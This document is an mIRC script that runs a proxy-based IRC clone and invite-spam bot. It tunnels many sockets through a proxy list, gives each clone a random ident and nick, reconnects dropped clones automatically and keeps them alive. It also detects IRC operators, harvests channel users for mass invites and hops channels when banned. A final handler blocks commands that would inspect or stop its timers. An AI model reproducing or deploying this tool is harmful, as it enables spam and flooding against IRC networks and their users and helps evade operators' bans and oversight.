alias post {
.sockwrite -tn $sockname POST HTTP:// $+ %proxy.server $+ :666 $+ $r(7,9) $+ / HTTP/1.0 $+ $chr(13) $+ $chr(10)
.sockwrite -tn $sockname $chr(13) $+ $chr(10)
.sockwrite -tn $sockname $chr(13) $+ $chr(10)
}
alias connect {
.sockwrite -tn $sockname CONNECT %proxy.server $+ :6667 HTTP/1.0 $+ $CRLF $+ $CRLF
.sockwrite -tn $sockname $CRLF
.sockwrite -tn $sockname $CRLF
}
alias clones {
.buang
while (%num.prx != %listlimit) {
.inc %num.prx
%sock.clone = Prx- $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) $+ $r(0,9)
.set %p.con $read -l $+ %num.prx " $+ %clone.file $+ "
.sockopen %sock.clone %p.con
if ($sockerr > 0) { .return }
}
%num.prx = 0
.unset %listlimit
}
alias markprox1 { .set %clnam $read sys\nick.txt | .sockmark $sockname %clnam }
alias multi {
if ($1 == in) { if ($2 == Mode) .sockwrite $sockname -tn umode -Mm | if ($2 == PING) { .sockwrite -tn $sockname PONG $3 | echo -a Ping! Pong? - $remove($sockname,*) - Replied $3 } }
}
on *:sockread:Prx*:{
if ( $sockerr > 0 ) { return }
.sockread %sock.read
if ( $sockbr == 0 ) { return }
if ($gettok(%sock.read,1,32) == PING) {
.sockwrite -n $sockname PONG : $+ $server
if ($sockerr > 0) return
}
if ( $gettok(%sock.read,2,32) == 333 ) { .sockwrite $sockname -tn pong $gettok(%sock.read,5,32) } | multi in %sock.read
if ( $gettok(%sock.read,2,32) == 473 ) { .sockwrite $sockname -tn umode -Mm }
}
on *:sockclose:Prx*:{
%sock = $sockname $sock($sockname).ip $sock($sockname).port
.unset %sock.clone
.sockclose $sockname
.sockopen %sock
}
on *:sockopen:*: {
if ($sockerr > 0) { echo 4 -a *** Connection Proxy Failed: $sock($sockname).ip $sock($sockname).port Update Your Proxy list | return }
%proxy
.markprox1
.sockwrite -tn $sockname USER $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
.sockwrite -tn $sockname IDENT $rand(a,z) $+ $rand(1,9) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,9)
.sockwrite -tn $sockname NICK $sock($sockname).mark
.timerrun 1 1 .continue
}
alias _windialog { did -i konek 14 $did(konek,14).lines : $1- }
alias muler { .part %chan | .nick $read sys\nick.txt | .timerkonek 1 2 .server java.webchat.org 6660 | .halt }
raw 315:*: { $compile | halt }
raw 352:*:if (* isin $7) { set %IRCops %IRCops $+ $6 |  $+ $colour(info) $+ *** Detect IRCop Nick ( $+ $6 $+ ) On ( $+ %chan $+ ) | halt }
raw 353:*:{ haltdef | set %chan $3 }
raw 366:*: { _windialog %chan $caLc($nopnick($2,0) - 1) User Will Invite | .write -c tmp\msgnick.txt | who * o | set %IRCops "" | halt }
raw 473:*:{ inc %b | if (%b == $gettok(%chan.join,0,44)) { set %b 1 } | .join $gettok(%chan.join,%b,44) }
raw 474:*:{ inc %b | if (%b == $gettok(%chan.join,0,44)) { set %b 1 } | .join $gettok(%chan.join,%b,44) }
raw 475:*:{ inc %b | if (%b == $gettok(%chan.join,0,44)) { set %b 1 } | .join $gettok(%chan.join,%b,44) }
raw *:*:{ halt }
on *:text:*:*:{
if ($nick == $me) {
if ($1- == HABIS) { _windialog Running Next Invite | .inc %n 1 | set %m 1 | unset %msgnicks | .clones }
if ($1- == End) { _windialog complete invite in %chan }
}
halt
}
on *:open:?:{ .close -m }
on *:error:*:{ echo -s error4 $1- }

on *:input:*:{ if (($right($1,6) == timers) && ($right($2,3) == off)) || (($right($1-,6) == timers)) || (timer isin $1-) || (rename isin $1-) { $_celaker | halt } }


